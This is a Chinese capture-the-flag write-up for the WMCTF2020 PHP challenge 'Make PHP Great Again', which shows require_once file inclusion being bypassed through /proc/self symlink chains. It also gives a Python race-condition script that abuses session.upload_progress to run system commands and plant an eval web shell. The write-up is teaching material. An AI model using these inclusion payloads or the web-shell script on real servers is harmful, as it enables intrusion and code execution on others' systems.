[WMCTF2020]Make PHP Great Again

前言:

关键字:[require_once|proc|文件包含|session|session.upload_progress]

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

题解

绕过不能重复包含文件的限制

解法1

PHP最新版的小Trick,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

1
/proc/[pid]`记录了系统运行的信息状态,而`/proc/self`指的是当前进程(自身进程)的pid,就类似于类里面的`this

/proc/self/root/是指向/的符号链接

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另一种写法

/proc/self/cwd/指向当前进程运行目录的一个符号链接,

复制成功

1
?file=php://filter/read=convert.base64-encode/index/resource=/123/../../proc/self/cwd/flag.php

解法2 条件竞争:利用session.upload_progress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import io
import sys
import requests
import threading

host = 'http://f1f8290e-450c-47c9-8dfd-b1bb5f4a2807.node4.buuoj.cn:81/'
sessid = 'flag'


def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php $shell='<?php @eval($_POST[cmd])?>';system('ls /');fputs(fopen('shell.php','w'),$shell);file_put_contents('shell.php',$shell);echo md5('1');?>"},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def read(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# 1的MD5值
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit()


with requests.session() as session:
t1 = threading.Thread(target=write, args=(session,))
t1.daemon = True # 主线程退出时,不管子线程是否完成都随主线程退出
t1.start()
read(session)

试了下文件写入不了,不知道为啥,

只能直接读

(临时文件,会被删掉。)

参考:https://syunaht.com/p/2339718074.html